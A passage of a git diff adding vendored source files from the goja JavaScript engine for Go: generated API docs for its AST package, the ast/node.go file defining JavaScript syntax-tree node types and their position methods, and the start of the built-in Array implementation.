func (*FunctionLiteral) Idx0 + +```go +func (self *FunctionLiteral) Idx0() file.Idx +``` + +#### func (*FunctionLiteral) Idx1 + +```go +func (self *FunctionLiteral) Idx1() file.Idx +``` + +#### type Identifier + +```go +type Identifier struct { + Name string + Idx file.Idx +} +``` + + +#### func (*Identifier) Idx0 + +```go +func (self *Identifier) Idx0() file.Idx +``` + +#### func (*Identifier) Idx1 + +```go +func (self *Identifier) Idx1() file.Idx +``` + +#### type IfStatement + +```go +type IfStatement struct { + If file.Idx + Test Expression + Consequent Statement + Alternate Statement +} +``` + + +#### func (*IfStatement) Idx0 + +```go +func (self *IfStatement) Idx0() file.Idx +``` + +#### func (*IfStatement) Idx1 + +```go +func (self *IfStatement) Idx1() file.Idx +``` + +#### type LabelledStatement + +```go +type LabelledStatement struct { + Label *Identifier + Colon file.Idx + Statement Statement +} +``` + + +#### func (*LabelledStatement) Idx0 + +```go +func (self *LabelledStatement) Idx0() file.Idx +``` + +#### func (*LabelledStatement) Idx1 + +```go +func (self *LabelledStatement) Idx1() file.Idx +``` + +#### type NewExpression + +```go +type NewExpression struct { + New file.Idx + Callee Expression + LeftParenthesis file.Idx + ArgumentList []Expression + RightParenthesis file.Idx +} +``` + + +#### func (*NewExpression) Idx0 + +```go +func (self *NewExpression) Idx0() file.Idx +``` + +#### func (*NewExpression) Idx1 + +```go +func (self *NewExpression) Idx1() file.Idx +``` + +#### type Node + +```go +type Node interface { + Idx0() file.Idx // The index of the first character belonging to the node + Idx1() file.Idx // The index of the first character immediately after the node +} +``` + +All nodes implement the Node interface. + +#### type NullLiteral + +```go +type NullLiteral struct { + Idx file.Idx + Literal string +} +``` + + +#### func (*NullLiteral) Idx0 + +```go +func (self *NullLiteral) Idx0() file.Idx +``` + +#### func (*NullLiteral) Idx1 + +```go +func (self *NullLiteral) Idx1() file.Idx +``` + +#### type NumberLiteral + +```go +type NumberLiteral struct { + Idx file.Idx + Literal string + Value interface{} +} +``` + + +#### func (*NumberLiteral) Idx0 + +```go +func (self *NumberLiteral) Idx0() file.Idx +``` + +#### func (*NumberLiteral) Idx1 + +```go +func (self *NumberLiteral) Idx1() file.Idx +``` + +#### type ObjectLiteral + +```go +type ObjectLiteral struct { + LeftBrace file.Idx + RightBrace file.Idx + Value []Property +} +``` + + +#### func (*ObjectLiteral) Idx0 + +```go +func (self *ObjectLiteral) Idx0() file.Idx +``` + +#### func (*ObjectLiteral) Idx1 + +```go +func (self *ObjectLiteral) Idx1() file.Idx +``` + +#### type ParameterList + +```go +type ParameterList struct { + Opening file.Idx + List []*Identifier + Closing file.Idx +} +``` + + +#### type Program + +```go +type Program struct { + Body []Statement + + DeclarationList []Declaration + + File *file.File +} +``` + + +#### func (*Program) Idx0 + +```go +func (self *Program) Idx0() file.Idx +``` + +#### func (*Program) Idx1 + +```go +func (self *Program) Idx1() file.Idx +``` + +#### type Property + +```go +type Property struct { + Key string + Kind string + Value Expression +} +``` + + +#### type RegExpLiteral + +```go +type RegExpLiteral struct { + Idx file.Idx + Literal string + Pattern string + Flags string + Value string +} +``` + + +#### func (*RegExpLiteral) Idx0 + +```go +func (self *RegExpLiteral) Idx0() file.Idx +``` + +#### func (*RegExpLiteral) Idx1 + +```go +func (self *RegExpLiteral) Idx1() file.Idx +``` + +#### type ReturnStatement + +```go +type ReturnStatement struct { + Return file.Idx + Argument Expression +} +``` + + +#### func (*ReturnStatement) Idx0 + +```go +func (self *ReturnStatement) Idx0() file.Idx +``` + +#### func (*ReturnStatement) Idx1 + +```go +func (self *ReturnStatement) Idx1() file.Idx +``` + +#### type SequenceExpression + +```go +type SequenceExpression struct { + Sequence []Expression +} +``` + + +#### func (*SequenceExpression) Idx0 + +```go +func (self *SequenceExpression) Idx0() file.Idx +``` + +#### func (*SequenceExpression) Idx1 + +```go +func (self *SequenceExpression) Idx1() file.Idx +``` + +#### type Statement + +```go +type Statement interface { + Node + // contains filtered or unexported methods +} +``` + +All statement nodes implement the Statement interface. + +#### type StringLiteral + +```go +type StringLiteral struct { + Idx file.Idx + Literal string + Value string +} +``` + + +#### func (*StringLiteral) Idx0 + +```go +func (self *StringLiteral) Idx0() file.Idx +``` + +#### func (*StringLiteral) Idx1 + +```go +func (self *StringLiteral) Idx1() file.Idx +``` + +#### type SwitchStatement + +```go +type SwitchStatement struct { + Switch file.Idx + Discriminant Expression + Default int + Body []*CaseStatement +} +``` + + +#### func (*SwitchStatement) Idx0 + +```go +func (self *SwitchStatement) Idx0() file.Idx +``` + +#### func (*SwitchStatement) Idx1 + +```go +func (self *SwitchStatement) Idx1() file.Idx +``` + +#### type ThisExpression + +```go +type ThisExpression struct { + Idx file.Idx +} +``` + + +#### func (*ThisExpression) Idx0 + +```go +func (self *ThisExpression) Idx0() file.Idx +``` + +#### func (*ThisExpression) Idx1 + +```go +func (self *ThisExpression) Idx1() file.Idx +``` + +#### type ThrowStatement + +```go +type ThrowStatement struct { + Throw file.Idx + Argument Expression +} +``` + + +#### func (*ThrowStatement) Idx0 + +```go +func (self *ThrowStatement) Idx0() file.Idx +``` + +#### func (*ThrowStatement) Idx1 + +```go +func (self *ThrowStatement) Idx1() file.Idx +``` + +#### type TryStatement + +```go +type TryStatement struct { + Try file.Idx + Body Statement + Catch *CatchStatement + Finally Statement +} +``` + + +#### func (*TryStatement) Idx0 + +```go +func (self *TryStatement) Idx0() file.Idx +``` + +#### func (*TryStatement) Idx1 + +```go +func (self *TryStatement) Idx1() file.Idx +``` + +#### type UnaryExpression + +```go +type UnaryExpression struct { + Operator token.Token + Idx file.Idx // If a prefix operation + Operand Expression + Postfix bool +} +``` + + +#### func (*UnaryExpression) Idx0 + +```go +func (self *UnaryExpression) Idx0() file.Idx +``` + +#### func (*UnaryExpression) Idx1 + +```go +func (self *UnaryExpression) Idx1() file.Idx +``` + +#### type VariableDeclaration + +```go +type VariableDeclaration struct { + Var file.Idx + List []*VariableExpression +} +``` + + +#### type VariableExpression + +```go +type VariableExpression struct { + Name string + Idx file.Idx + Initializer Expression +} +``` + + +#### func (*VariableExpression) Idx0 + +```go +func (self *VariableExpression) Idx0() file.Idx +``` + +#### func (*VariableExpression) Idx1 + +```go +func (self *VariableExpression) Idx1() file.Idx +``` + +#### type VariableStatement + +```go +type VariableStatement struct { + Var file.Idx + List []Expression +} +``` + + +#### func (*VariableStatement) Idx0 + +```go +func (self *VariableStatement) Idx0() file.Idx +``` + +#### func (*VariableStatement) Idx1 + +```go +func (self *VariableStatement) Idx1() file.Idx +``` + +#### type WhileStatement + +```go +type WhileStatement struct { + While file.Idx + Test Expression + Body Statement +} +``` + + +#### func (*WhileStatement) Idx0 + +```go +func (self *WhileStatement) Idx0() file.Idx +``` + +#### func (*WhileStatement) Idx1 + +```go +func (self *WhileStatement) Idx1() file.Idx +``` + +#### type WithStatement + +```go +type WithStatement struct { + With file.Idx + Object Expression + Body Statement +} +``` + + +#### func (*WithStatement) Idx0 + +```go +func (self *WithStatement) Idx0() file.Idx +``` + +#### func (*WithStatement) Idx1 + +```go +func (self *WithStatement) Idx1() file.Idx +``` + +-- +**godocdown** http://github.com/robertkrimen/godocdown diff --git a/backend/vendor/github.com/dop251/goja/ast/node.go b/backend/vendor/github.com/dop251/goja/ast/node.go new file mode 100644 index 0000000..3bec89d --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/ast/node.go @@ -0,0 +1,876 @@ +/* +Package ast declares types representing a JavaScript AST. + +# Warning + +The parser and AST interfaces are still works-in-progress (particularly where +node types are concerned) and may change in the future. +*/ +package ast + +import ( + "github.com/dop251/goja/file" + "github.com/dop251/goja/token" + "github.com/dop251/goja/unistring" +) + +type PropertyKind string + +const ( + PropertyKindValue PropertyKind = "value" + PropertyKindGet PropertyKind = "get" + PropertyKindSet PropertyKind = "set" + PropertyKindMethod PropertyKind = "method" +) + +// All nodes implement the Node interface. +type Node interface { + Idx0() file.Idx // The index of the first character belonging to the node + Idx1() file.Idx // The index of the first character immediately after the node +} + +// ========== // +// Expression // +// ========== // + +type ( + // All expression nodes implement the Expression interface. + Expression interface { + Node + _expressionNode() + } + + BindingTarget interface { + Expression + _bindingTarget() + } + + Binding struct { + Target BindingTarget + Initializer Expression + } + + Pattern interface { + BindingTarget + _pattern() + } + + YieldExpression struct { + Yield file.Idx + Argument Expression + Delegate bool + } + + AwaitExpression struct { + Await file.Idx + Argument Expression + } + + ArrayLiteral struct { + LeftBracket file.Idx + RightBracket file.Idx + Value []Expression + } + + ArrayPattern struct { + LeftBracket file.Idx + RightBracket file.Idx + Elements []Expression + Rest Expression + } + + AssignExpression struct { + Operator token.Token + Left Expression + Right Expression + } + + BadExpression struct { + From file.Idx + To file.Idx + } + + BinaryExpression struct { + Operator token.Token + Left Expression + Right Expression + Comparison bool + } + + BooleanLiteral struct { + Idx file.Idx + Literal string + Value bool + } + + BracketExpression struct { + Left Expression + Member Expression + LeftBracket file.Idx + RightBracket file.Idx + } + + CallExpression struct { + Callee Expression + LeftParenthesis file.Idx + ArgumentList []Expression + RightParenthesis file.Idx + } + + ConditionalExpression struct { + Test Expression + Consequent Expression + Alternate Expression + } + + DotExpression struct { + Left Expression + Identifier Identifier + } + + PrivateDotExpression struct { + Left Expression + Identifier PrivateIdentifier + } + + OptionalChain struct { + Expression + } + + Optional struct { + Expression + } + + FunctionLiteral struct { + Function file.Idx + Name *Identifier + ParameterList *ParameterList + Body *BlockStatement + Source string + + DeclarationList []*VariableDeclaration + + Async, Generator bool + } + + ClassLiteral struct { + Class file.Idx + RightBrace file.Idx + Name *Identifier + SuperClass Expression + Body []ClassElement + Source string + } + + ConciseBody interface { + Node + _conciseBody() + } + + ExpressionBody struct { + Expression Expression + } + + ArrowFunctionLiteral struct { + Start file.Idx + ParameterList *ParameterList + Body ConciseBody + Source string + DeclarationList []*VariableDeclaration + Async bool + } + + Identifier struct { + Name unistring.String + Idx file.Idx + } + + PrivateIdentifier struct { + Identifier + } + + NewExpression struct { + New file.Idx + Callee Expression + LeftParenthesis file.Idx + ArgumentList []Expression + RightParenthesis file.Idx + } + + NullLiteral struct { + Idx file.Idx + Literal string + } + + NumberLiteral struct { + Idx file.Idx + Literal string + Value interface{} + } + + ObjectLiteral struct { + LeftBrace file.Idx + RightBrace file.Idx + Value []Property + } + + ObjectPattern struct { + LeftBrace file.Idx + RightBrace file.Idx + Properties []Property + Rest Expression + } + + ParameterList struct { + Opening file.Idx + List []*Binding + Rest Expression + Closing file.Idx + } + + Property interface { + Expression + _property() + } + + PropertyShort struct { + Name Identifier + Initializer Expression + } + + PropertyKeyed struct { + Key Expression + Kind PropertyKind + Value Expression + Computed bool + } + + SpreadElement struct { + Expression + } + + RegExpLiteral struct { + Idx file.Idx + Literal string + Pattern string + Flags string + } + + SequenceExpression struct { + Sequence []Expression + } + + StringLiteral struct { + Idx file.Idx + Literal string + Value unistring.String + } + + TemplateElement struct { + Idx file.Idx + Literal string + Parsed unistring.String + Valid bool + } + + TemplateLiteral struct { + OpenQuote file.Idx + CloseQuote file.Idx + Tag Expression + Elements []*TemplateElement + Expressions []Expression + } + + ThisExpression struct { + Idx file.Idx + } + + SuperExpression struct { + Idx file.Idx + } + + UnaryExpression struct { + Operator token.Token + Idx file.Idx // If a prefix operation + Operand Expression + Postfix bool + } + + MetaProperty struct { + Meta, Property *Identifier + Idx file.Idx + } +) + +// _expressionNode + +func (*ArrayLiteral) _expressionNode() {} +func (*AssignExpression) _expressionNode() {} +func (*YieldExpression) _expressionNode() {} +func (*AwaitExpression) _expressionNode() {} +func (*BadExpression) _expressionNode() {} +func (*BinaryExpression) _expressionNode() {} +func (*BooleanLiteral) _expressionNode() {} +func (*BracketExpression) _expressionNode() {} +func (*CallExpression) _expressionNode() {} +func (*ConditionalExpression) _expressionNode() {} +func (*DotExpression) _expressionNode() {} +func (*PrivateDotExpression) _expressionNode() {} +func (*FunctionLiteral) _expressionNode() {} +func (*ClassLiteral) _expressionNode() {} +func (*ArrowFunctionLiteral) _expressionNode() {} +func (*Identifier) _expressionNode() {} +func (*NewExpression) _expressionNode() {} +func (*NullLiteral) _expressionNode() {} +func (*NumberLiteral) _expressionNode() {} +func (*ObjectLiteral) _expressionNode() {} +func (*RegExpLiteral) _expressionNode() {} +func (*SequenceExpression) _expressionNode() {} +func (*StringLiteral) _expressionNode() {} +func (*TemplateLiteral) _expressionNode() {} +func (*ThisExpression) _expressionNode() {} +func (*SuperExpression) _expressionNode() {} +func (*UnaryExpression) _expressionNode() {} +func (*MetaProperty) _expressionNode() {} +func (*ObjectPattern) _expressionNode() {} +func (*ArrayPattern) _expressionNode() {} +func (*Binding) _expressionNode() {} + +func (*PropertyShort) _expressionNode() {} +func (*PropertyKeyed) _expressionNode() {} + +// ========= // +// Statement // +// ========= // + +type ( + // All statement nodes implement the Statement interface. + Statement interface { + Node + _statementNode() + } + + BadStatement struct { + From file.Idx + To file.Idx + } + + BlockStatement struct { + LeftBrace file.Idx + List []Statement + RightBrace file.Idx + } + + BranchStatement struct { + Idx file.Idx + Token token.Token + Label *Identifier + } + + CaseStatement struct { + Case file.Idx + Test Expression + Consequent []Statement + } + + CatchStatement struct { + Catch file.Idx + Parameter BindingTarget + Body *BlockStatement + } + + DebuggerStatement struct { + Debugger file.Idx + } + + DoWhileStatement struct { + Do file.Idx + Test Expression + Body Statement + RightParenthesis file.Idx + } + + EmptyStatement struct { + Semicolon file.Idx + } + + ExpressionStatement struct { + Expression Expression + } + + ForInStatement struct { + For file.Idx + Into ForInto + Source Expression + Body Statement + } + + ForOfStatement struct { + For file.Idx + Into ForInto + Source Expression + Body Statement + } + + ForStatement struct { + For file.Idx + Initializer ForLoopInitializer + Update Expression + Test Expression + Body Statement + } + + IfStatement struct { + If file.Idx + Test Expression + Consequent Statement + Alternate Statement + } + + LabelledStatement struct { + Label *Identifier + Colon file.Idx + Statement Statement + } + + ReturnStatement struct { + Return file.Idx + Argument Expression + } + + SwitchStatement struct { + Switch file.Idx + Discriminant Expression + Default int + Body []*CaseStatement + RightBrace file.Idx + } + + ThrowStatement struct { + Throw file.Idx + Argument Expression + } + + TryStatement struct { + Try file.Idx + Body *BlockStatement + Catch *CatchStatement + Finally *BlockStatement + } + + VariableStatement struct { + Var file.Idx + List []*Binding + } + + LexicalDeclaration struct { + Idx file.Idx + Token token.Token + List []*Binding + } + + WhileStatement struct { + While file.Idx + Test Expression + Body Statement + } + + WithStatement struct { + With file.Idx + Object Expression + Body Statement + } + + FunctionDeclaration struct { + Function *FunctionLiteral + } + + ClassDeclaration struct { + Class *ClassLiteral + } +) + +// _statementNode + +func (*BadStatement) _statementNode() {} +func (*BlockStatement) _statementNode() {} +func (*BranchStatement) _statementNode() {} +func (*CaseStatement) _statementNode() {} +func (*CatchStatement) _statementNode() {} +func (*DebuggerStatement) _statementNode() {} +func (*DoWhileStatement) _statementNode() {} +func (*EmptyStatement) _statementNode() {} +func (*ExpressionStatement) _statementNode() {} +func (*ForInStatement) _statementNode() {} +func (*ForOfStatement) _statementNode() {} +func (*ForStatement) _statementNode() {} +func (*IfStatement) _statementNode() {} +func (*LabelledStatement) _statementNode() {} +func (*ReturnStatement) _statementNode() {} +func (*SwitchStatement) _statementNode() {} +func (*ThrowStatement) _statementNode() {} +func (*TryStatement) _statementNode() {} +func (*VariableStatement) _statementNode() {} +func (*WhileStatement) _statementNode() {} +func (*WithStatement) _statementNode() {} +func (*LexicalDeclaration) _statementNode() {} +func (*FunctionDeclaration) _statementNode() {} +func (*ClassDeclaration) _statementNode() {} + +// =========== // +// Declaration // +// =========== // + +type ( + VariableDeclaration struct { + Var file.Idx + List []*Binding + } + + ClassElement interface { + Node + _classElement() + } + + FieldDefinition struct { + Idx file.Idx + Key Expression + Initializer Expression + Computed bool + Static bool + } + + MethodDefinition struct { + Idx file.Idx + Key Expression + Kind PropertyKind // "method", "get" or "set" + Body *FunctionLiteral + Computed bool + Static bool + } + + ClassStaticBlock struct { + Static file.Idx + Block *BlockStatement + Source string + DeclarationList []*VariableDeclaration + } +) + +type ( + ForLoopInitializer interface { + Node + _forLoopInitializer() + } + + ForLoopInitializerExpression struct { + Expression Expression + } + + ForLoopInitializerVarDeclList struct { + Var file.Idx + List []*Binding + } + + ForLoopInitializerLexicalDecl struct { + LexicalDeclaration LexicalDeclaration + } + + ForInto interface { + Node + _forInto() + } + + ForIntoVar struct { + Binding *Binding + } + + ForDeclaration struct { + Idx file.Idx + IsConst bool + Target BindingTarget + } + + ForIntoExpression struct { + Expression Expression + } +) + +func (*ForLoopInitializerExpression) _forLoopInitializer() {} +func (*ForLoopInitializerVarDeclList) _forLoopInitializer() {} +func (*ForLoopInitializerLexicalDecl) _forLoopInitializer() {} + +func (*ForIntoVar) _forInto() {} +func (*ForDeclaration) _forInto() {} +func (*ForIntoExpression) _forInto() {} + +func (*ArrayPattern) _pattern() {} +func (*ArrayPattern) _bindingTarget() {} + +func (*ObjectPattern) _pattern() {} +func (*ObjectPattern) _bindingTarget() {} + +func (*BadExpression) _bindingTarget() {} + +func (*PropertyShort) _property() {} +func (*PropertyKeyed) _property() {} +func (*SpreadElement) _property() {} + +func (*Identifier) _bindingTarget() {} + +func (*BlockStatement) _conciseBody() {} +func (*ExpressionBody) _conciseBody() {} + +func (*FieldDefinition) _classElement() {} +func (*MethodDefinition) _classElement() {} +func (*ClassStaticBlock) _classElement() {} + +// ==== // +// Node // +// ==== // + +type Program struct { + Body []Statement + + DeclarationList []*VariableDeclaration + + File *file.File +} + +// ==== // +// Idx0 // +// ==== // + +func (self *ArrayLiteral) Idx0() file.Idx { return self.LeftBracket } +func (self *ArrayPattern) Idx0() file.Idx { return self.LeftBracket } +func (self *YieldExpression) Idx0() file.Idx { return self.Yield } +func (self *AwaitExpression) Idx0() file.Idx { return self.Await } +func (self *ObjectPattern) Idx0() file.Idx { return self.LeftBrace } +func (self *ParameterList) Idx0() file.Idx { return self.Opening } +func (self *AssignExpression) Idx0() file.Idx { return self.Left.Idx0() } +func (self *BadExpression) Idx0() file.Idx { return self.From } +func (self *BinaryExpression) Idx0() file.Idx { return self.Left.Idx0() } +func (self *BooleanLiteral) Idx0() file.Idx { return self.Idx } +func (self *BracketExpression) Idx0() file.Idx { return self.Left.Idx0() } +func (self *CallExpression) Idx0() file.Idx { return self.Callee.Idx0() } +func (self *ConditionalExpression) Idx0() file.Idx { return self.Test.Idx0() } +func (self *DotExpression) Idx0() file.Idx { return self.Left.Idx0() } +func (self *PrivateDotExpression) Idx0() file.Idx { return self.Left.Idx0() } +func (self *FunctionLiteral) Idx0() file.Idx { return self.Function } +func (self *ClassLiteral) Idx0() file.Idx { return self.Class } +func (self *ArrowFunctionLiteral) Idx0() file.Idx { return self.Start } +func (self *Identifier) Idx0() file.Idx { return self.Idx } +func (self *NewExpression) Idx0() file.Idx { return self.New } +func (self *NullLiteral) Idx0() file.Idx { return self.Idx } +func (self *NumberLiteral) Idx0() file.Idx { return self.Idx } +func (self *ObjectLiteral) Idx0() file.Idx { return self.LeftBrace } +func (self *RegExpLiteral) Idx0() file.Idx { return self.Idx } +func (self *SequenceExpression) Idx0() file.Idx { return self.Sequence[0].Idx0() } +func (self *StringLiteral) Idx0() file.Idx { return self.Idx } +func (self *TemplateElement) Idx0() file.Idx { return self.Idx } +func (self *TemplateLiteral) Idx0() file.Idx { return self.OpenQuote } +func (self *ThisExpression) Idx0() file.Idx { return self.Idx } +func (self *SuperExpression) Idx0() file.Idx { return self.Idx } +func (self *UnaryExpression) Idx0() file.Idx { + if self.Postfix { + return self.Operand.Idx0() + } + return self.Idx +} +func (self *MetaProperty) Idx0() file.Idx { return self.Idx } + +func (self *BadStatement) Idx0() file.Idx { return self.From } +func (self *BlockStatement) Idx0() file.Idx { return self.LeftBrace } +func (self *BranchStatement) Idx0() file.Idx { return self.Idx } +func (self *CaseStatement) Idx0() file.Idx { return self.Case } +func (self *CatchStatement) Idx0() file.Idx { return self.Catch } +func (self *DebuggerStatement) Idx0() file.Idx { return self.Debugger } +func (self *DoWhileStatement) Idx0() file.Idx { return self.Do } +func (self *EmptyStatement) Idx0() file.Idx { return self.Semicolon } +func (self *ExpressionStatement) Idx0() file.Idx { return self.Expression.Idx0() } +func (self *ForInStatement) Idx0() file.Idx { return self.For } +func (self *ForOfStatement) Idx0() file.Idx { return self.For } +func (self *ForStatement) Idx0() file.Idx { return self.For } +func (self *IfStatement) Idx0() file.Idx { return self.If } +func (self *LabelledStatement) Idx0() file.Idx { return self.Label.Idx0() } +func (self *Program) Idx0() file.Idx { return self.Body[0].Idx0() } +func (self *ReturnStatement) Idx0() file.Idx { return self.Return } +func (self *SwitchStatement) Idx0() file.Idx { return self.Switch } +func (self *ThrowStatement) Idx0() file.Idx { return self.Throw } +func (self *TryStatement) Idx0() file.Idx { return self.Try } +func (self *VariableStatement) Idx0() file.Idx { return self.Var } +func (self *WhileStatement) Idx0() file.Idx { return self.While } +func (self *WithStatement) Idx0() file.Idx { return self.With } +func (self *LexicalDeclaration) Idx0() file.Idx { return self.Idx } +func (self *FunctionDeclaration) Idx0() file.Idx { return self.Function.Idx0() } +func (self *ClassDeclaration) Idx0() file.Idx { return self.Class.Idx0() } +func (self *Binding) Idx0() file.Idx { return self.Target.Idx0() } + +func (self *ForLoopInitializerExpression) Idx0() file.Idx { return self.Expression.Idx0() } +func (self *ForLoopInitializerVarDeclList) Idx0() file.Idx { return self.List[0].Idx0() } +func (self *ForLoopInitializerLexicalDecl) Idx0() file.Idx { return self.LexicalDeclaration.Idx0() } +func (self *PropertyShort) Idx0() file.Idx { return self.Name.Idx } +func (self *PropertyKeyed) Idx0() file.Idx { return self.Key.Idx0() } +func (self *ExpressionBody) Idx0() file.Idx { return self.Expression.Idx0() } + +func (self *VariableDeclaration) Idx0() file.Idx { return self.Var } +func (self *FieldDefinition) Idx0() file.Idx { return self.Idx } +func (self *MethodDefinition) Idx0() file.Idx { return self.Idx } +func (self *ClassStaticBlock) Idx0() file.Idx { return self.Static } + +func (self *ForDeclaration) Idx0() file.Idx { return self.Idx } +func (self *ForIntoVar) Idx0() file.Idx { return self.Binding.Idx0() } +func (self *ForIntoExpression) Idx0() file.Idx { return self.Expression.Idx0() } + +// ==== // +// Idx1 // +// ==== // + +func (self *ArrayLiteral) Idx1() file.Idx { return self.RightBracket + 1 } +func (self *ArrayPattern) Idx1() file.Idx { return self.RightBracket + 1 } +func (self *AssignExpression) Idx1() file.Idx { return self.Right.Idx1() } +func (self *AwaitExpression) Idx1() file.Idx { return self.Argument.Idx1() } +func (self *BadExpression) Idx1() file.Idx { return self.To } +func (self *BinaryExpression) Idx1() file.Idx { return self.Right.Idx1() } +func (self *BooleanLiteral) Idx1() file.Idx { return file.Idx(int(self.Idx) + len(self.Literal)) } +func (self *BracketExpression) Idx1() file.Idx { return self.RightBracket + 1 } +func (self *CallExpression) Idx1() file.Idx { return self.RightParenthesis + 1 } +func (self *ConditionalExpression) Idx1() file.Idx { return self.Alternate.Idx1() } +func (self *DotExpression) Idx1() file.Idx { return self.Identifier.Idx1() } +func (self *PrivateDotExpression) Idx1() file.Idx { return self.Identifier.Idx1() } +func (self *FunctionLiteral) Idx1() file.Idx { return self.Body.Idx1() } +func (self *ClassLiteral) Idx1() file.Idx { return self.RightBrace + 1 } +func (self *ArrowFunctionLiteral) Idx1() file.Idx { return self.Body.Idx1() } +func (self *Identifier) Idx1() file.Idx { return file.Idx(int(self.Idx) + len(self.Name)) } +func (self *NewExpression) Idx1() file.Idx { + if self.ArgumentList != nil { + return self.RightParenthesis + 1 + } else { + return self.Callee.Idx1() + } +} +func (self *NullLiteral) Idx1() file.Idx { return file.Idx(int(self.Idx) + 4) } // "null" +func (self *NumberLiteral) Idx1() file.Idx { return file.Idx(int(self.Idx) + len(self.Literal)) } +func (self *ObjectLiteral) Idx1() file.Idx { return self.RightBrace + 1 } +func (self *ObjectPattern) Idx1() file.Idx { return self.RightBrace + 1 } +func (self *ParameterList) Idx1() file.Idx { return self.Closing + 1 } +func (self *RegExpLiteral) Idx1() file.Idx { return file.Idx(int(self.Idx) + len(self.Literal)) } +func (self *SequenceExpression) Idx1() file.Idx { return self.Sequence[len(self.Sequence)-1].Idx1() } +func (self *StringLiteral) Idx1() file.Idx { return file.Idx(int(self.Idx) + len(self.Literal)) } +func (self *TemplateElement) Idx1() file.Idx { return file.Idx(int(self.Idx) + len(self.Literal)) } +func (self *TemplateLiteral) Idx1() file.Idx { return self.CloseQuote + 1 } +func (self *ThisExpression) Idx1() file.Idx { return self.Idx + 4 } +func (self *SuperExpression) Idx1() file.Idx { return self.Idx + 5 } +func (self *UnaryExpression) Idx1() file.Idx { + if self.Postfix { + return self.Operand.Idx1() + 2 // ++ -- + } + return self.Operand.Idx1() +} +func (self *MetaProperty) Idx1() file.Idx { + return self.Property.Idx1() +} + +func (self *BadStatement) Idx1() file.Idx { return self.To } +func (self *BlockStatement) Idx1() file.Idx { return self.RightBrace + 1 } +func (self *BranchStatement) Idx1() file.Idx { + if self.Label == nil { + return file.Idx(int(self.Idx) + len(self.Token.String())) + } + return self.Label.Idx1() +} +func (self *CaseStatement) Idx1() file.Idx { return self.Consequent[len(self.Consequent)-1].Idx1() } +func (self *CatchStatement) Idx1() file.Idx { return self.Body.Idx1() } +func (self *DebuggerStatement) Idx1() file.Idx { return self.Debugger + 8 } +func (self *DoWhileStatement) Idx1() file.Idx { return self.RightParenthesis + 1 } +func (self *EmptyStatement) Idx1() file.Idx { return self.Semicolon + 1 } +func (self *ExpressionStatement) Idx1() file.Idx { return self.Expression.Idx1() } +func (self *ForInStatement) Idx1() file.Idx { return self.Body.Idx1() } +func (self *ForOfStatement) Idx1() file.Idx { return self.Body.Idx1() } +func (self *ForStatement) Idx1() file.Idx { return self.Body.Idx1() } +func (self *IfStatement) Idx1() file.Idx { + if self.Alternate != nil { + return self.Alternate.Idx1() + } + return self.Consequent.Idx1() +} +func (self *LabelledStatement) Idx1() file.Idx { return self.Statement.Idx1() } +func (self *Program) Idx1() file.Idx { return self.Body[len(self.Body)-1].Idx1() } +func (self *ReturnStatement) Idx1() file.Idx { + if self.Argument != nil { + return self.Argument.Idx1() + } + return self.Return + 6 +} +func (self *SwitchStatement) Idx1() file.Idx { return self.RightBrace + 1 } +func (self *ThrowStatement) Idx1() file.Idx { return self.Argument.Idx1() } +func (self *TryStatement) Idx1() file.Idx { + if self.Finally != nil { + return self.Finally.Idx1() + } + if self.Catch != nil { + return self.Catch.Idx1() + } + return self.Body.Idx1() +} +func (self *VariableStatement) Idx1() file.Idx { return self.List[len(self.List)-1].Idx1() } +func (self *WhileStatement) Idx1() file.Idx { return self.Body.Idx1() } +func (self *WithStatement) Idx1() file.Idx { return self.Body.Idx1() } +func (self *LexicalDeclaration) Idx1() file.Idx { return self.List[len(self.List)-1].Idx1() } +func (self *FunctionDeclaration) Idx1() file.Idx { return self.Function.Idx1() } +func (self *ClassDeclaration) Idx1() file.Idx { return self.Class.Idx1() } +func (self *Binding) Idx1() file.Idx { + if self.Initializer != nil { + return self.Initializer.Idx1() + } + return self.Target.Idx1() +} + +func (self *ForLoopInitializerExpression) Idx1() file.Idx { return self.Expression.Idx1() } +func (self *ForLoopInitializerVarDeclList) Idx1() file.Idx { return self.List[len(self.List)-1].Idx1() } +func (self *ForLoopInitializerLexicalDecl) Idx1() file.Idx { return self.LexicalDeclaration.Idx1() } + +func (self *PropertyShort) Idx1() file.Idx { + if self.Initializer != nil { + return self.Initializer.Idx1() + } + return self.Name.Idx1() +} + +func (self *PropertyKeyed) Idx1() file.Idx { return self.Value.Idx1() } + +func (self *ExpressionBody) Idx1() file.Idx { return self.Expression.Idx1() } + +func (self *VariableDeclaration) Idx1() file.Idx { + if len(self.List) > 0 { + return self.List[len(self.List)-1].Idx1() + } + + return self.Var + 3 +} + +func (self *FieldDefinition) Idx1() file.Idx { + if self.Initializer != nil { + return self.Initializer.Idx1() + } + return self.Key.Idx1() +} + +func (self *MethodDefinition) Idx1() file.Idx { + return self.Body.Idx1() +} + +func (self *ClassStaticBlock) Idx1() file.Idx { + return self.Block.Idx1() +} + +func (self *YieldExpression) Idx1() file.Idx { + if self.Argument != nil { + return self.Argument.Idx1() + } + return self.Yield + 5 +} + +func (self *ForDeclaration) Idx1() file.Idx { return self.Target.Idx1() } +func (self *ForIntoVar) Idx1() file.Idx { return self.Binding.Idx1() } +func (self *ForIntoExpression) Idx1() file.Idx { return self.Expression.Idx1() } diff --git a/backend/vendor/github.com/dop251/goja/builtin_array.go b/backend/vendor/github.com/dop251/goja/builtin_array.go new file mode 100644 index 0000000..d8a9b05 --- /dev/null +++ b/backend/vendor/github.com/dop251/goja/builtin_array.go @@ -0,0 +1,1833 @@ +package goja + +import ( + "math" + "sort" + "sync" +) + +func (r *Runtime) newArray(prototype *Object) (a *arrayObject) { + v := &Object{runtime: r} + + a = &arrayObject{} + a.class = classArray + a.val = v + a.extensible = true + v.self = a + a.prototype = prototype + a.init() + return +} + +func (r *Runtime) newArrayObject() *arrayObject { + return r.newArray(r.getArrayPrototype()) +} + +func setArrayValues(a *arrayObject, values []Value) *arrayObject { + a.values = values + a.length = uint32(len(values)) + a.objCount = len(values) + return a +} + +func setArrayLength(a *arrayObject, l int64) *arrayObject { + a.setOwnStr("length", intToValue(l), true) + return a +} + +func arraySpeciesCreate(obj *Object, size int64) *Object { + if isArray(obj) { + v := obj.self.getStr("constructor", nil) + if constructObj, ok := v.(*Object); ok { + v = constructObj.self.getSym(SymSpecies, nil) + if v == _null { + v = nil + } + } + + if v != nil && v != _undefined { + constructObj, _ := v.(*Object) + if constructObj != nil { + if constructor := constructObj.self.assertConstructor(); constructor != nil { + return constructor([]Value{intToValue(size)}, constructObj) + } + } + 